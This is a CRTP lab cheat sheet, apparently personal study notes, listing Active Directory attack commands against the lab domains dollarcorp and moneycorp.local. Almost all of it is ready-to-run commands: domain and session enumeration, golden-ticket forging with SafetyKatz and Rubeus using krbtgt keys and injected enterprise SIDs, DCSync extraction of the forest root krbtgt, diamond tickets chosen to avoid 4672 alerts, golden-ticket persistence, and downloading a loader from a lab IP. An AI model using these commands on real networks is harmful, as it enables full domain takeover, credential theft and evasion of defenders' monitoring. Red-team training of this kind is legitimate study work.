CRTP

Domain Enumeration

# Users
Get-DomainUser | select samaccountname

# Computers
Get-DomainComputer | select cn

# DAs
Get-DomainGroupMember -identity "Domain Admins" | select membername

# EAs
Get-DomainGroupMember -identity "Enterprise Admins" -domain <domain> | select membername

# SIDs
Get-DomainSID

# Collect BH data
SharpHound.exe -c all --zipfilename crtp_data --outputdirectory .\

Privilege Escalation

# Enumerate LA access on domain hosts
Find-PSRemotingLocalAdminAccess

# Create a host list
Get-DomainComputer | ForEach-Object { $_.cn.Trim() } > servers.txt
# List active sessions (no elevated privileges are required on the remote hosts)
Invoke-SessionHunter -NoPortScan -RawResults -Targets .\servers.txt | select Hostname,UserSession,Access

Forge a GT (pre-load SIDs on the initial TGT) (DA → EA):

# GT as Administrator (generates 4672 alerts)

# Execute the GT attack including the target SIDs using SafetyKatz
Loader.exe -path SafetyKatz.exe -args "kerberos::golden /user:administrator /domain:dollarcorp.moneycorp.local /sid:<currentDomainSID> /sids:<rootDomainSID>-519 /krbtgt:<krbtgt-rc4> /ptt" "exit"

# Execute the GT attack including the target SIDs using Rubeus
Loader.exe -path Rubeus.exe -args evasive-golden /user:administrator /id:500 /domain:dollarcorp.moneycorp.local /sid:<currentDomainSID> /sids:<rootDomainSID>-519 /aes256:<krbtgt-key> /netbios:dcorp /ptt

# Access the parent domain's DC
winrs -r:mcorp-dc cmd

# Peform a DCSync to extract the forest root's krbtgt credentials
Loader.exe -path SafetyKatz.exe -args "lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local" "exit"

The machine account can be combined with SIDs for DCs (516) and Enterprise DCs (S-1-5-9) to simulate legit replication behavior between domains (no 4672 alerts as above):

# GT attack using the machine account using SafetyKatz
Loader.exe -path SafetyKatz.exe -args "kerberos::golden /user:dcorp-dc$ /id:1000 /domain:dollarcorp.moneycorp.local /sid:<currentDomainSID> /sids:<rootDomainSID>-516,s-1-5-9 /krbtgt:<krbtgt-rc4> /ptt" "exit"

# GT attack using the machine account using Rubeus
Loader.exe -path Rubeus.exe -args golden /aes256:<krbtgt-aes256key> /user:dcorp-dc$ /id:1000 /domain:dollarcorp.moneycorp.local /sid:<currentDomainSID> /sids:<rootDomainSID>-516,s-1-5-9 /dc:dcorp-dc.dollarcorp.moneycorp.local /ptt

# Peform a DCSync to extract the forest root's krbtgt credentials
Loader.exe -path SafetyKatz.exe -args "lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local" "exit"

For even better OPSEC, Diamond Tickets instead of GT. These resemble legitimate Kerberos requests and include a corresponding TGT request, making them less suspicious:

# Diamond Ticket (most OPSEC-friendly)
Loader.exe -path Rubeus.exe -args diamond /krbkey:<krbtgt-aes256key> /tgtdeleg /enctype:aes /ticketuser:dcorp-dc$ /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /tickeruserid:1000 /sids:<rootDomainSID>-516,s-1-5-9 /createnetonly:c:\windows\system32\cmd.exe /show /ptt

Persistence

Forged TGT using krbtgt's creds → full domain impersonation.

# Generate a Golden ticket attack command (as std337 on dcorp-std337)
Loader.exe -path Rubeus.exe -args evasive-golden /aes256:<krbtgt-key> /sid:<currentDomainSID> /ldap /user:Administrator /printcmd

# Modify the generated command as required
Loader.exe -path Rubeus.exe -args evasive-golden /aes256:<krbtgt-key> /user:Administrator /id:500 /pgid:513 /domain:dollarcorp.moneycorp.local /sid:<currentDomainSID> /pwdlastset:"11/11/2022 6:34:22 AM" /minpassage:1 /logoncount:875 /netbios:dcorp /groups:544,512,520,513 /dc:DCORP-DC.dollarcorp.moneycorp.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD /ptt

# Test access on the DC
winrs -r:dcorp-dc "set username & set computername"

Misc

# Copy a file to a share
echo F | xcopy Loader.exe \\dcorp-?\c$\users\public\Loader.exe
# Download a file
iwr 'http://172.16.100.37/Loader.exe' -OutFile c:\users\public\loader.exe

Last updated

Was this helpful?